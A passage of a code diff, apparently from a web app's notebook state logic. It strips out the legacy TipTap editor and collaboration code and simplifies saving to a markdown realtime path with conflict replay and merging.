{+/**+ * On-load migration: legacy TipTap notebooks still stored in the database are converted+ * to markdown at render time, and the conversion is persisted on the first edit.+ */+function convertNotebookContentForRender(content: JSONContent | null | undefined): JSONContent {+ if (content && isMarkdownNotebookContent(content)) {return content}- // Content-less notebooks (a fresh scratchpad or canvas) start as empty markdown- // notebooks instead of falling back to the legacy TipTap editor.+ // Content-less notebooks (a fresh scratchpad or canvas) start as empty markdown notebooks.if (!content) {return buildMarkdownNotebookContent('')}@@ -281,13 +262,13 @@ export type NotebookLogicProps = {cachedInlineQueryResultsByNodeId?: Record<string, AnyResponseType>}-async function runWhenEditorIsReady(waitForEditor: () => boolean, fn: () => any): Promise<any | null> {+async function runWhenNotebookIsReady(waitForNotebook: () => boolean, fn: () => any): Promise<any | null> {const maxWaitMs = 5000const startTime = Date.now()- while (!waitForEditor()) {+ while (!waitForNotebook()) {if (Date.now() - startTime > maxWaitMs) {- console.warn('Notebook editor not ready after timeout')+ console.warn('Notebook not ready after timeout')return null}await new Promise((resolve) => setTimeout(resolve, 10))@@ -296,33 +277,12 @@ async function runWhenEditorIsReady(waitForEditor: () => boolean, fn: () => any)return fn()}-function buildCommentContexts(editor: NotebookEditor, comments: CommentType[]): Record<string, string> {- const markTexts = editor.getAllCommentTexts()- const contexts: Record<string, string> = {}- for (const comment of comments) {- if (comment.source_comment || comment.item_context?.type !== 'mark') {- continue- }- const text = markTexts[comment.item_context.id]- if (text) {- contexts[comment.id] = text- }- }- return contexts-}-// Generated by kea-typegen. Update if you're an agent, ignore if you're human.export interface notebookLogicValues {- commentContexts: Record<string, string> // commentsLogiccomments: CommentType[] | null // commentsLogic- itemContext: CommentContext | null // commentsLogicselectedCommentId: string | null // commentsLogic- featureFlags: FeatureFlagsSet // featureFlagLogic- remoteParticipants: NotebookRemoteParticipant[] // notebookCollabLogic- ttEditor: TTEditor | null // notebookCollabLogickernelInfo: NotebookKernelInfo | null // notebookKernelInfoLogicshowKernelInfo: boolean // notebookSettingsLogic- showTableOfContents: boolean // notebookSettingsLogicnotebookTemplates: NotebookType[] // notebooksModelscratchpadNotebook: NotebookListItemType // notebooksModeluser: UserType | null // userLogic@@ -332,30 +292,19 @@ export interface notebookLogicValues {cachedInlineQueryResultsByNodeId: Record<string, AnyResponseType>cachedInsightsByShortId: Record<string, InsightModel>canvasFiltersOverride: any- collabConflict: {- localContent: JSONContent- localText: string- serverContent: JSONContent- } | null- collabEnabled: boolean- conflictWarningVisible: booleancontainerSize: 'medium' | 'small'content: JSONContentdependencyGraph: NotebookDependencyGraphduckSqlNodeIndices: Map<string, number>duckSqlNodeSummaries: DuckSqlNodeSummary[]editingNodeIds: Record<string, true>- editingNodeLogics: any[]- editingNodeLogicsForLeft: BuiltLogic<notebookNodeLogicType>[]- editor: NotebookEditor | null- experimentIdsInNotebook: number[]+ editingNodeLogics: BuiltLogic<notebookNodeLogicType>[]findNodeLogic: (type: NotebookNodeType, attributes: Record<string, any>) => notebookNodeLogicType | null- findNodeLogicById: (id: string) => any+ findNodeLogicById: (id: string) => BuiltLogic<notebookNodeLogicType> | nullgetSharedCachedInlineQueryResults: (nodeId: string | null | undefined) => AnyResponseType | nullgetSharedCachedInsight: (shortId: string | null | undefined) => InsightModel | nullhogqlSqlNodeIndices: Map<string, number>hogqlSqlNodeSummaries: HogqlSqlNodeSummary[]- insightShortIdsInNotebook: any[] | undefinedisEditable: booleanisLocalOnly: booleanisShareModalOpen: boolean@@ -379,7 +328,7 @@ export interface notebookLogicValues {newNotebook: NotebookType | nullnewNotebookLoading: booleannodeLogics: Record<string, BuiltLogic<notebookNodeLogicType>>- nodeLogicsWithChildren: any[]+ nodeLogicsWithChildren: BuiltLogic<notebookNodeLogicType>[]notebook: NotebookType | nullnotebookLoading: booleannotebookMissing: boolean@@ -388,14 +337,12 @@ export interface notebookLogicValues {previewContent: JSONContent | nullpythonNodeIndices: Map<string, number>pythonNodeSummaries: PythonNodeSummary[]- ready: booleanshortId: stringshouldBeEditable: booleanshowHistory: booleansqlNodeIndices: Map<string, number>sqlV2NodeSummaries: SqlV2NodeSummary[]syncStatus: NotebookSyncStatus- tableOfContents: TableOfContentDatatitle: string}@@ -404,9 +351,6 @@ export interface notebookLogicActions {maybeLoadComments: () => {value: true} // commentsLogic- setCommentContexts: (contexts: Record<string, string>) => {- contexts: Record<string, string>- } // commentsLogicsetItemContext: (context: Record<string, any> | null,callback?: (event: { sent: boolean }) => void@@ -414,23 +358,6 @@ export interface notebookLogicActions {callback: ((event: { sent: boolean }) => void) | undefinedcontext: Record<string, any> | null} // commentsLogic- setSelectedComment: (commentId: string | null) => {- commentId: string | null- } // commentsLogic- ackLocalSteps: (- steps: Record<string, any>[],- clientID: string- ) => {- clientID: string- steps: Record<string, any>[]- } // notebookCollabLogic- applyRemoteSteps: (steps: import('./notebookCollabLogic').RemoteStep[]) => {- steps: import('./notebookCollabLogic').RemoteStep[]- } // notebookCollabLogic- rebaseFailed: (params: { localContent: JSONContent; localText: string }) => {- localContent: JSONContent- localText: string- } // notebookCollabLogicreceiveNotebookUpdate: (notebook: NotebookListItemType) => {notebook: NotebookListItemType} // notebooksModel@@ -441,20 +368,6 @@ export interface notebookLogicActions {options: string | undefinedtab: SidePanelTab} // sidePanelStateLogic- addExperimentToNotebook: (- experimentId: number,- insertionPosition?: number | null- ) => {- experimentId: number- insertionPosition: number | null- }- addSavedInsightToNotebook: (- insightShortId: InsightShortId,- insertionPosition?: number | null- ) => {- insertionPosition: number | null- insightShortId: InsightShortId- }applyNotebookArtifactMarkdown: (content: NotebookArtifactContent,conversationId?: string,@@ -486,18 +399,9 @@ export interface notebookLogicActions {copyMarkdown: () => {value: true}- copyUnsavedToNewNotebook: () => {- value: true- }- discardLocalChanges: () => {- value: true- }disconnectMarkdownUpdateStream: () => {value: true}- dismissCollabConflict: () => {- value: true- }dismissMarkdownMergeConflictDetails: () => {value: true}@@ -519,9 +423,6 @@ export interface notebookLogicActions {newNotebook: NotebookType | nullpayload?: any}- editorIsReady: () => {- value: true- }exportJSON: () => {value: true}@@ -538,15 +439,6 @@ export interface notebookLogicActions {insertAfterLastNode: (content: JSONContent) => {content: JSONContent}- insertAfterLastNodeOfType: (- nodeType: string,- content: JSONContent,- knownStartingPosition: any- ) => {- content: JSONContent- knownStartingPosition: any- nodeType: string- }insertComment: (context: Record<string, any>) => {context: Record<string, any>}@@ -571,15 +463,6 @@ export interface notebookLogicActions {value: true}}- onEditorSelectionUpdate: () => {- value: true- }- onEditorUpdate: () => {- value: true- }- onUpdateEditor: () => {- value: true- }openShareModal: () => {value: true}@@ -650,9 +533,6 @@ export interface notebookLogicActions {scheduleNotebookRefresh: () => {value: true}- scrollToSelection: () => {- value: true- }selectComment: (itemContextId: string) => {itemContextId: string}@@ -675,17 +555,12 @@ export interface notebookLogicActions {editing: booleannodeId: string}- setEditor: (editor: NotebookEditor) => {- editor: NotebookEditor- }setLocalContent: (jsonContent: JSONContent,- updateEditor?: any,skipCapture?: any) => {jsonContent: JSONContentskipCapture: any- updateEditor: any}setMarkdownAIPresenceActive: (active: boolean) => {active: boolean@@ -705,20 +580,6 @@ export interface notebookLogicActions {setShowHistory: (showHistory: boolean) => {showHistory: boolean}- setTableOfContents: (tableOfContents: TableOfContentData) => {- tableOfContents: TableOfContentData- }- setTextSelection: (selection: number | EditorRange) => {- selection: number | Range- }- showCollabConflict: (params: { localContent: JSONContent; localText: string; serverContent: JSONContent }) => {- localContent: JSONContent- localText: string- serverContent: JSONContent- }- showConflictWarning: () => {- value: true- }showMarkdownMergeConflictDetails: (conflicts: NotebookCollaborationConflict[]) => {conflicts: NotebookCollaborationConflict[]}@@ -736,21 +597,17 @@ export const notebookLogic = kea<notebookLogicType>([connect((props: NotebookLogicProps) => ({values: [- featureFlagLogic,- ['featureFlags'],notebooksModel,['scratchpadNotebook', 'notebookTemplates'],commentsLogic({scope: ActivityScope.NOTEBOOK,item_id: props.shortId,}),- ['comments', 'itemContext', 'selectedCommentId', 'commentContexts'],+ ['comments', 'selectedCommentId'],notebookKernelInfoLogic({ shortId: props.shortId }),['kernelInfo'],notebookSettingsLogic,- ['showKernelInfo', 'showTableOfContents'],- notebookCollabLogic({ shortId: props.shortId }),- ['ttEditor', 'remoteParticipants'],+ ['showKernelInfo'],userLogic,['user'],],@@ -763,16 +620,10 @@ export const notebookLogic = kea<notebookLogicType>([scope: ActivityScope.NOTEBOOK,item_id: props.shortId,}),- ['setItemContext', 'maybeLoadComments', 'setSelectedComment', 'setCommentContexts'],- notebookCollabLogic({ shortId: props.shortId }),- ['ackLocalSteps', 'applyRemoteSteps', 'rebaseFailed'],+ ['setItemContext', 'maybeLoadComments'],],})),actions({- setEditor: (editor: NotebookEditor) => ({ editor }),- editorIsReady: true,- onEditorUpdate: true,- onEditorSelectionUpdate: true,setAutosavePaused: (paused: boolean) => ({ paused }),setMarkdownEditorInteractionActive: (active: boolean) => ({ active }),setMarkdownAIPresenceActive: (active: boolean) => ({ active }),@@ -784,9 +635,8 @@ export const notebookLogic = kea<notebookLogicType>([conversationId?: string,mode: NotebookArtifactApplyMode = 'replace') => ({ content, conversationId, mode }),- setLocalContent: (jsonContent: JSONContent, updateEditor = false, skipCapture = false) => ({+ setLocalContent: (jsonContent: JSONContent, skipCapture = false) => ({jsonContent,- updateEditor,skipCapture,}),clearLocalContent: true,@@ -816,46 +666,22 @@ export const notebookLogic = kea<notebookLogicType>([exportJSON: true,downloadMarkdown: true,copyMarkdown: true,- showConflictWarning: true,- onUpdateEditor: true,registerNodeLogic: (nodeId: string, nodeLogic: BuiltLogic<notebookNodeLogicType>) => ({ nodeId, nodeLogic }),unregisterNodeLogic: (nodeId: string) => ({ nodeId }),setEditable: (editable: boolean) => ({ editable }),- scrollToSelection: true,pasteAfterLastNode: (content: string) => ({content,}),insertAfterLastNode: (content: JSONContent) => ({content,}),-- insertAfterLastNodeOfType: (nodeType: string, content: JSONContent, knownStartingPosition) => ({- content,- nodeType,- knownStartingPosition,- }),- addSavedInsightToNotebook: (insightShortId: InsightShortId, insertionPosition: number | null = null) => ({- insightShortId,- insertionPosition,- }),- addExperimentToNotebook: (experimentId: number, insertionPosition: number | null = null) => ({- experimentId,- insertionPosition,- }),setShowHistory: (showHistory: boolean) => ({ showHistory }),- setTableOfContents: (tableOfContents: TableOfContentData) => ({ tableOfContents }),- setTextSelection: (selection: number | EditorRange) => ({ selection }),setContainerSize: (containerSize: 'small' | 'medium') => ({ containerSize }),insertComment: (context: Record<string, any>) => ({ context }),selectComment: (itemContextId: string) => ({ itemContextId }),openShareModal: true,closeShareModal: true,setAccessDeniedToNotebook: true,- showCollabConflict: (params: { serverContent: JSONContent; localContent: JSONContent; localText: string }) =>- params,- dismissCollabConflict: true,- discardLocalChanges: true,- copyUnsavedToNewNotebook: true,}),reducers(({ props }) => ({isShareModalOpen: [@@ -908,36 +734,6 @@ export const notebookLogic = kea<notebookLogicType>([setMarkdownEditorBuffer: (_, { buffered }) => buffered,},],- editor: [- null as NotebookEditor | null,- {- setEditor: (_, { editor }) => editor,- },- ],- ready: [- false,- {- setReady: () => true,- },- ],- conflictWarningVisible: [- false,- {- showConflictWarning: () => true,- loadNotebookSuccess: () => false,- },- ],- collabConflict: [- null as {- serverContent: JSONContent- localContent: JSONContent- localText: string- } | null,- {- showCollabConflict: (_, params) => params,- dismissCollabConflict: () => null,- },- ],markdownMergeConflictDetails: [null as NotebookCollaborationConflict[] | null,{@@ -1021,12 +817,6 @@ export const notebookLogic = kea<notebookLogicType>([setShowHistory: (_, { showHistory }) => showHistory,},],- tableOfContents: [- [] as TableOfContentData,- {- setTableOfContents: (_, { tableOfContents }) => tableOfContents,- },- ],containerSize: ['small' as 'small' | 'medium',{@@ -1079,19 +869,7 @@ export const notebookLogic = kea<notebookLogicType>([}}- const notebook = await migrate(response, { skipApiUpgrade: !!values.isShared })-- if (- !values.collabEnabled &&- notebook.content &&- (!values.notebook || values.notebook.version !== notebook.version)- ) {- // Push fresh server content into the editor on polling refresh (no-op on first load).- // Collab notebooks update via SSE, not setContent.- values.editor?.setContent(notebook.content)- }-- return notebook+ return await migrate(response, { skipApiUpgrade: !!values.isShared })},saveNotebook: async ({ notebook }) => {@@ -1099,264 +877,112 @@ export const notebookLogic = kea<notebookLogicType>([return values.notebook}- // While the stale-conflict modal is open, the user's local content has diverged- // from the server beyond what we can merge. Don't keep retrying saves until- // they choose to discard or force-save — otherwise we'd loop on 410s.- if (values.collabConflict) {- return values.notebook- }-const notebookContent = notebook.content-- if (values.collabEnabled && values.ttEditor) {- const sendable = sendableSteps(values.ttEditor.state)- if (!sendable) {- return values.notebook- }- const stepsJson = sendable.steps.map((s) => s.toJSON())-- try {- const response = await api.create(- `api/projects/@current/notebooks/${values.notebook.short_id}/collab/save/`,- {- client_id: sendable.clientID,- version: sendable.version,- steps: stepsJson,- content: values.editor?.getJSON(),- text_content: getNotebookTextContent(- values.editor?.getJSON() ?? notebook.content,- values.editor?.getText() || ''- ),- title: notebook.title,- cursor_head: values.ttEditor.state.selection.head,- }- )- actions.ackLocalSteps(stepsJson, String(sendable.clientID))- refreshTreeItem('notebook', String(values.notebook.short_id))- posthog.capture('notebook saved', {- short_id: values.notebook.short_id,- save_path: 'tiptap_collab',- is_markdown: false,+ const baselineVersion = values.notebook.version+ const baseMarkdown = getMarkdownNotebookMarkdown(values.notebook.content)+ const nextMarkdown = getMarkdownNotebookMarkdown(notebookContent)+ const nodeId = getMarkdownNotebookNodeId(values.notebook.content)++ if (nextMarkdown === baseMarkdown) {+ if ((notebook.title ?? '') !== (values.notebook.title ?? '')) {+ const response = await api.notebooks.update(values.notebook.short_id, {+ title: notebook.title,})+ refreshTreeItem('notebook', String(values.notebook.short_id))return response- } catch (error: any) {- if (error.status === 409 && error.data?.steps) {- // prosemirror-collab rebases our pending steps over the missed range.- // If receiveTransaction throws, `rebaseFailed` opens the conflict modal.- const steps = error.data.steps as Record<string, any>[]- const clientIds = error.data.client_ids as string[]- const serverVersion = error.data.version as number- const firstMissedVersion = serverVersion - steps.length + 1- actions.applyRemoteSteps(- steps.map((step, i) => ({- step,- clientId: clientIds[i],- version: firstMissedVersion + i,- }))- )- if (values.collabConflict) {- return values.notebook- }- actions.saveNotebook({- content: values.editor?.getJSON() ?? notebook.content,- title: notebook.title,- })- return values.notebook- }- if (error.status === 410) {- // Stream trimmed- actions.rebaseFailed({- localContent: values.editor?.getJSON() ?? notebook.content ?? {},- localText: values.editor?.getText() ?? '',- })- return values.notebook- }- posthog.capture('notebook save failed', {- short_id: values.notebook.short_id,- save_path: 'tiptap_collab',- is_markdown: false,- status: error.status,- })- throw error}+ return values.notebook}- if (values.markdownRealtimeEnabled && isMarkdownNotebookContent(notebookContent)) {- const baselineVersion = values.notebook.version- const baseMarkdown = getMarkdownNotebookMarkdown(values.notebook.content)- const nextMarkdown = getMarkdownNotebookMarkdown(notebookContent)- const nodeId = getMarkdownNotebookNodeId(values.notebook.content)-- if (nextMarkdown === baseMarkdown) {- if ((notebook.title ?? '') !== (values.notebook.title ?? '')) {- const response = await api.notebooks.update(values.notebook.short_id, {- title: notebook.title,- })- refreshTreeItem('notebook', String(values.notebook.short_id))- return response- }- return values.notebook- }-- cache.markdownClientId = cache.markdownClientId || getNotebookMarkdownClientId()- try {- const response = await api.notebooks.markdownSave(values.notebook.short_id, {- client_id: cache.markdownClientId,- version: baselineVersion,- content: notebookContent,- text_content: getNotebookTextContent(notebookContent, ''),- title: notebook.title,- cursor: cache.lastMarkdownCaret- ? caretPositionToApiCursor(cache.lastMarkdownCaret)- : undefined,- })- refreshTreeItem('notebook', String(values.notebook.short_id))- posthog.capture('notebook saved', {+ cache.markdownClientId = cache.markdownClientId || getNotebookMarkdownClientId()+ try {+ const response = await api.notebooks.markdownSave(values.notebook.short_id, {+ client_id: cache.markdownClientId,+ version: baselineVersion,+ content: notebookContent,+ text_content: getNotebookTextContent(notebookContent),+ title: notebook.title,+ cursor: cache.lastMarkdownCaret+ ? caretPositionToApiCursor(cache.lastMarkdownCaret)+ : undefined,+ })+ refreshTreeItem('notebook', String(values.notebook.short_id))+ posthog.capture('notebook saved', {+ short_id: values.notebook.short_id,+ save_path: 'markdown_realtime',+ is_markdown: true,+ })+ return response+ } catch (error: any) {+ if (error.status === 409 && error.data?.updates) {+ // Fold the missed diffs into our baseline to reconstruct the server+ // state, merge our edits over it, and retry against the new version —+ // all without refetching the notebook.+ const updates = error.data.updates as {+ version: number+ diff: TextChange[]+ base_crc?: number | null+ }[]+ posthog.capture('notebook markdown save conflict retried', {short_id: values.notebook.short_id,- save_path: 'markdown_realtime',- is_markdown: true,+ missed_updates: updates.length,})- return response- } catch (error: any) {- if (error.status === 409 && error.data?.updates) {- // Fold the missed diffs into our baseline to reconstruct the server- // state, merge our edits over it, and retry against the new version —- // all without refetching the notebook.- const updates = error.data.updates as {- version: number- diff: TextChange[]- base_crc?: number | null- }[]- posthog.capture('notebook markdown save conflict retried', {- short_id: values.notebook.short_id,- missed_updates: updates.length,- })- let serverMarkdown: string | null = baseMarkdown- for (const update of updates) {- if (- typeof update.base_crc === 'number' &&- markdownCrc(serverMarkdown) !== update.base_crc- ) {- serverMarkdown = null- break- }- serverMarkdown = tryApplyTextChanges(serverMarkdown, update.diff)- if (serverMarkdown === null) {- break- }+ let serverMarkdown: string | null = baseMarkdown+ for (const update of updates) {+ if (+ typeof update.base_crc === 'number' &&+ markdownCrc(serverMarkdown) !== update.base_crc+ ) {+ serverMarkdown = null+ break}+ serverMarkdown = tryApplyTextChanges(serverMarkdown, update.diff)if (serverMarkdown === null) {- // Replay didn't fit our baseline — reload; the editor merges- // local edits over the fresh server state via remoteValue.- posthog.capture('notebook markdown full reload', {- short_id: values.notebook.short_id,- reason: 'save_replay_failed',- })- actions.loadNotebook()- return values.notebook+ break}- const serverVersion = error.data.version as number- const merge = mergeNotebookMarkdownChanges({- baseMarkdown,- localMarkdown: nextMarkdown,- remoteMarkdown: serverMarkdown,- })- actions.applyRemoteNotebookContent(- buildMarkdownNotebookContent(serverMarkdown, nodeId),- serverVersion- )- if (merge.mergedMarkdown !== serverMarkdown) {- actions.saveNotebook({- content: buildMarkdownNotebookContent(merge.mergedMarkdown, nodeId),- title: notebook.title,- })- }- return values.notebook}- if (error.status === 410) {- // Missed range not replayable (trimmed / mixed writers): full reload,- // the editor merges local edits over the fresh server state.+ if (serverMarkdown === null) {+ // Replay didn't fit our baseline — reload; the editor merges+ // local edits over the fresh server state via remoteValue.posthog.capture('notebook markdown full reload', {short_id: values.notebook.short_id,- reason: 'stream_trimmed',+ reason: 'save_replay_failed',})actions.loadNotebook()return values.notebook}- posthog.capture('notebook save failed', {- short_id: values.notebook.short_id,- save_path: 'markdown_realtime',- is_markdown: true,- status: error.status,+ const serverVersion = error.data.version as number+ const merge = mergeNotebookMarkdownChanges({+ baseMarkdown,+ localMarkdown: nextMarkdown,+ remoteMarkdown: serverMarkdown,})- throw error- }- }-- // Legacy path: full-doc PATCH- try {- const response = await api.notebooks.update(values.notebook.short_id, {- version: values.notebook.version,- content: notebookContent,- text_content: getNotebookTextContent(notebookContent, values.editor?.getText() || ''),- title: notebook.title,- })-- if (- response.content &&- values.editor &&- values.localContent &&- notebookContent === values.localContent- ) {- const currentEditorContent = values.editor.getJSON()- if (JSON.stringify(response.content) !== JSON.stringify(currentEditorContent)) {- const currentPosition = values.editor.getCurrentPosition()- values.editor.setContent(response.content)- values.editor.setTextSelection(currentPosition)+ actions.applyRemoteNotebookContent(+ buildMarkdownNotebookContent(serverMarkdown, nodeId),+ serverVersion+ )+ if (merge.mergedMarkdown !== serverMarkdown) {+ actions.saveNotebook({+ content: buildMarkdownNotebookContent(merge.mergedMarkdown, nodeId),+ title: notebook.title,+ })}+ return values.notebook}-- refreshTreeItem('notebook', String(values.notebook.short_id))- posthog.capture('notebook saved', {- short_id: values.notebook.short_id,- save_path: 'legacy_patch',- is_markdown: isMarkdownNotebookContent(notebookContent),- })- return response- } catch (error: any) {- if (error.code === 'conflict') {- const currentLocalContent = values.localContent- const savedContent = values.notebook.content- if (- isMarkdownNotebookContent(savedContent) &&- isMarkdownNotebookContent(currentLocalContent)- ) {- try {- const freshNotebook = await api.notebooks.get(- values.notebook.short_id,- undefined,- {}- )- if (freshNotebook && isMarkdownNotebookContent(freshNotebook.content)) {- // The markdown editor merges fresh server content into local edits- // through its remoteValue path and re-emits the merged content,- // which retries the save against the new version.- refreshTreeItem('notebook', String(values.notebook.short_id))- return freshNotebook- }- } catch {- // Fall through to the manual conflict path if refreshing content fails.- }- }-- actions.clearLocalContent()- actions.showConflictWarning()- return null+ if (error.status === 410) {+ // Missed range not replayable (trimmed / mixed writers): full reload,+ // the editor merges local edits over the fresh server state.+ posthog.capture('notebook markdown full reload', {+ short_id: values.notebook.short_id,+ reason: 'stream_trimmed',+ })+ actions.loadNotebook()+ return values.notebook}posthog.capture('notebook save failed', {short_id: values.notebook.short_id,- save_path: 'legacy_patch',- is_markdown: isMarkdownNotebookContent(notebookContent),+ save_path: 'markdown_realtime',+ is_markdown: true,status: error.status,})throw error@@ -1397,7 +1023,7 @@ export const notebookLogic = kea<notebookLogicType>([? updateContentHeading(values.content, title): values.content- let textContent = getNotebookTextContent(content, values.editor?.getText() || '')+ let textContent = getNotebookTextContent(content)if (isRegularNotebookDuplication && textContent.startsWith(values.title)) {textContent = title + textContent.slice(values.title.length)}@@ -1449,29 +1075,14 @@ export const notebookLogic = kea<notebookLogicType>([return props.shortId === 'scratchpad' || props.mode === 'canvas' || isTemplate},],- collabEnabled: [- (s) => [s.featureFlags, s.isLocalOnly, s.content],- (featureFlags: Record<string, string | boolean>, isLocalOnly: boolean, content: JSONContent): boolean =>- !!featureFlags[FEATURE_FLAGS.NOTEBOOKS_COLLABORATION] &&- !isLocalOnly &&- !isMarkdownNotebookContent(content),- ],markdownRealtimeEnabled: [- (s) => [(_, props) => props, s.mode, s.isLocalOnly, s.notebook, s.content, s.featureFlags],+ (s) => [(_, props) => props, s.mode, s.isLocalOnly, s.notebook],(props: NotebookLogicProps,mode: NotebookLogicMode,isLocalOnly: boolean,- notebook: NotebookType | null,- content: JSONContent,- featureFlags: Record<string, string | boolean>- ): boolean =>- mode === 'notebook' &&- !props.cachedNotebook &&- !isLocalOnly &&- !!notebook &&- (isMarkdownNotebookContent(notebook.content) ||- (!!featureFlags[FEATURE_FLAGS.MARKDOWN_NOTEBOOKS] && isMarkdownNotebookContent(content))),+ notebook: NotebookType | null+ ): boolean => mode === 'notebook' && !props.cachedNotebook && !isLocalOnly && !!notebook,],notebookMissing: [(s) => [s.notebook, s.notebookLoading, s.mode],@@ -1504,17 +1115,13 @@ export const notebookLogic = kea<notebookLogicType>([getNotebookRemoteParticipants(markdownRemotePresence),],notebookPresenceParticipants: [- (s) => [s.user, s.markdownRemoteParticipants, s.remoteParticipants, s.markdownAIPresenceActive],+ (s) => [s.user, s.markdownRemoteParticipants, s.markdownAIPresenceActive],(- user: UserType | null,+ user: null | import('~/types').UserType,markdownRemoteParticipants: NotebookRemoteParticipant[],- remoteParticipants: NotebookRemoteParticipant[],markdownAIPresenceActive: boolean): NotebookPresenceParticipant[] => {- const participants = getNotebookPresenceParticipants(- user,- markdownRemoteParticipants.length > 0 ? markdownRemoteParticipants : remoteParticipants- )+ const participants = getNotebookPresenceParticipants(user, markdownRemoteParticipants)if (!markdownAIPresenceActive) {return participants}@@ -1530,15 +1137,13 @@ export const notebookLogic = kea<notebookLogicType>([},],content: [- (s) => [s.notebook, s.localContent, s.previewContent, s.featureFlags],+ (s) => [s.notebook, s.localContent, s.previewContent],(notebook: NotebookType | null,localContent: JSONContent | null,- previewContent: JSONContent | null,- featureFlags: Record<string, string | boolean>+ previewContent: JSONContent | null): JSONContent => {- const content = previewContent || localContent || notebook?.content- return convertNotebookContentForRender(content, !!featureFlags[FEATURE_FLAGS.MARKDOWN_NOTEBOOKS]) || []+ return convertNotebookContentForRender(previewContent || localContent || notebook?.content)},],markdownEditorMarkdown: [@@ -1557,13 +1162,7 @@ export const notebookLogic = kea<notebookLogicType>([title: [(s) => [s.notebook, s.content],(notebook: NotebookType | null, content: JSONContent): string => {- const firstTextNode = content?.content?.[0]?.content?.[0]- const contentTitle = isMarkdownNotebookContent(content)- ? getMarkdownNotebookTitle(content)- : typeof firstTextNode?.text === 'string'- ? firstTextNode.text- : null- return contentTitle || notebook?.title || 'Untitled'+ return getMarkdownNotebookTitle(content) || notebook?.title || 'Untitled'},],syncStatus: [@@ -1595,7 +1194,11 @@ export const notebookLogic = kea<notebookLogicType>([],editingNodeLogics: [(s) => [s.editingNodeIds, s.nodeLogics, s.isShared],- (editingNodeIds: Record<string, true>, nodeLogics: Record<string, any>, isShared: boolean) => {+ (+ editingNodeIds: Record<string, true>,+ nodeLogics: Record<string, BuiltLogic<notebookNodeLogicType>>,+ isShared: boolean+ ) => {// Editing UI is meaningless for anonymous shared viewers and `editingNodeIds` can// arrive pre-populated from persisted local state — zero it out at the source so// the Settings panel never renders for them.@@ -1605,23 +1208,9 @@ export const notebookLogic = kea<notebookLogicType>([return Object.values(nodeLogics).filter((nodeLogic) => editingNodeIds[nodeLogic.values.nodeId])},],- editingNodeLogicsForLeft: [- (s) => [s.editingNodeLogics, s.containerSize, s.content],- (- editingNodeLogics: BuiltLogic<notebookNodeLogicType>[],- containerSize: 'small' | 'medium',- content: JSONContent- ) =>- containerSize === 'small' || isMarkdownNotebookContent(content)- ? []- : editingNodeLogics.filter(- (nodeLogic: BuiltLogic<notebookNodeLogicType>) =>- nodeLogic.values.settingsPlacement !== 'inline'- ),- ],findNodeLogic: [(s) => [s.nodeLogics],- (nodeLogics: Record<string, any>) => {+ (nodeLogics: Record<string, BuiltLogic<notebookNodeLogicType>>) => {return (type: NotebookNodeType, attributes: Record<string, any>): notebookNodeLogicType | null => {const attrEntries = Object.entries(attributes || {})return (@@ -1639,7 +1228,7 @@ export const notebookLogic = kea<notebookLogicType>([],findNodeLogicById: [(s) => [s.nodeLogics],- (nodeLogics: Record<string, any>) => {+ (nodeLogics: Record<string, BuiltLogic<notebookNodeLogicType>>) => {return (id: string) => {return Object.values(nodeLogics).find((nodeLogic) => nodeLogic.values.nodeId === id) ?? null}@@ -1649,7 +1238,7 @@ export const notebookLogic = kea<notebookLogicType>([nodeLogicsWithChildren: [(s) => [s.nodeLogics, s.content],// oxlint-disable-next-line @typescript-eslint/no-unused-vars- (nodeLogics: Record<string, any>, _content: JSONContent) => {+ (nodeLogics: Record<string, BuiltLogic<notebookNodeLogicType>>, _content: JSONContent) => {// NOTE: _content is not but is needed to retrigger as it could mean the children have changedreturn Object.values(nodeLogics).filter((nodeLogic) => nodeLogic.props.attributes?.children)},@@ -1686,32 +1275,7 @@ export const notebookLogic = kea<notebookLogicType>([(content: JSONContent) => collectNodeIndices(content, (node) => node.type === NotebookNodeType.HogQLSQL),],- isShowingLeftColumn: [- (s) => [- s.editingNodeLogicsForLeft,- s.showHistory,- s.showTableOfContents,- s.showKernelInfo,- s.containerSize,- s.content,- ],- (- editingNodeLogicsForLeft: BuiltLogic<notebookNodeLogicType>[],- showHistory: boolean,- showTableOfContents: boolean,- showKernelInfo: boolean,- containerSize: 'small' | 'medium',- content: JSONContent- ) => {- const isMarkdownNotebook = isMarkdownNotebookContent(content)- const shouldShowSettings =- !isMarkdownNotebook && editingNodeLogicsForLeft.length > 0 && containerSize !== 'small'- const shouldShowTableOfContents = !isMarkdownNotebook && showTableOfContents- const shouldShowKernelInfo = !isMarkdownNotebook && showKernelInfo-- return showHistory || shouldShowTableOfContents || shouldShowKernelInfo || shouldShowSettings- },- ],+ isShowingLeftColumn: [(s) => [s.showHistory], (showHistory: boolean) => showHistory],isEditable: [(s) => [s.shouldBeEditable, s.previewContent, s.notebook, s.mode],@@ -1766,30 +1330,6 @@ export const notebookLogic = kea<notebookLogicType>([},],- insightShortIdsInNotebook: [- (s) => [s.content],- (content: JSONContent) => {- if (!content) {- return []- }- const insightNodes = content?.content?.filter(- (node) => node.type === NotebookNodeType.Query && isSavedInsightNode(node?.attrs?.query)- )- return insightNodes?.map((node) => node?.attrs?.query?.shortId)- },- ],-- experimentIdsInNotebook: [- (s) => [s.content],- (content: JSONContent): number[] => {- if (!content) {- return []- }- const experimentNodes = content?.content?.filter((node) => node.type === NotebookNodeType.Experiment)- return experimentNodes?.map((node) => node?.attrs?.id).filter(Boolean) as number[]- },- ],-personUUIDFromCanvasOverride: [() => [(_, props) => props],(props: NotebookLogicProps): string | null => {@@ -1803,7 +1343,7 @@ export const notebookLogic = kea<notebookLogicType>([activeCommentMarkId: [(s) => [s.selectedCommentId, s.comments],- (selectedCommentId: string | null, comments: CommentType[] | null): string | null => {+ (selectedCommentId: string | null, comments: import('~/types').CommentType[] | null): string | null => {if (!selectedCommentId) {return null}@@ -2053,184 +1593,27 @@ export const notebookLogic = kea<notebookLogicType>([)},insertAfterLastNode: async ({ content }) => {- await runWhenEditorIsReady(- () =>- (values.isLocalOnly || !!values.notebook) &&- (!!values.editor || isMarkdownNotebookContent(values.content)),+ await runWhenNotebookIsReady(+ () => values.isLocalOnly || !!values.notebook,() => {const markdownContent = appendContentToMarkdownNotebook(values.content, content)if (markdownContent) {actions.setLocalContent(markdownContent)- return}-- let insertionPosition = 0- let nextNode = values.editor?.nextNode(insertionPosition)- while (nextNode) {- insertionPosition = nextNode.position- nextNode = values.editor?.nextNode(insertionPosition)- }-- values.editor?.insertContentAfterNode(insertionPosition, content)})},pasteAfterLastNode: async ({ content }) => {- await runWhenEditorIsReady(- () =>- (values.isLocalOnly || !!values.notebook) &&- (!!values.editor || isMarkdownNotebookContent(values.content)),+ await 